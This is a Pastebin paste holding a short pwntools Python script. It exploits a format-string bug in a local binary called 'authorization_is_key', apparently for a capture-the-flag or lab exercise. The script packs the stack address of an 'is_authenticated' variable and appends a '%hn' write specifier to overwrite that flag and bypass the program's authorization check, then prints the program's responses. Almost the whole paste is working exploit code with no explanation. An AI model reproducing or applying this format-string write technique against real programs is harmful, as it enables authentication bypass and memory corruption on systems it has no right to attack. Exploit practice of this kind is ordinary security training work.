Advertisement
Guest User

Untitled

a guest
Dec 15th, 2019
99
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.44 KB | None | 0 0
  1. from pwn import *
  2.  
  3.  
  4. # is_authenticated: 0x7fffffffde00
  5.  
  6. context(arch = "amd64", os = "linux")
  7.  
  8. p = process("/home/security/Desktop/authorization_is_key")
  9.  
  10. a = p64(0x7fffffffde00)
  11.  
  12. #payload2
  13. fs =a + b"%6$02x%hn"
  14.  
  15. #"\x00\xde\xff\xff\xff\x7f" + "%hn"
  16.  
  17. print (p.recvline(timeout = 2))
  18. p.sendline(fs)
  19.  
  20.  
  21. print (p.recvline(timeout = 5))
  22.  
  23. p.sendline("123")
  24.  
  25. print (p.recv(timeout = 2))
  26. print (p.recvall(timeout = 2))
  27. p.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement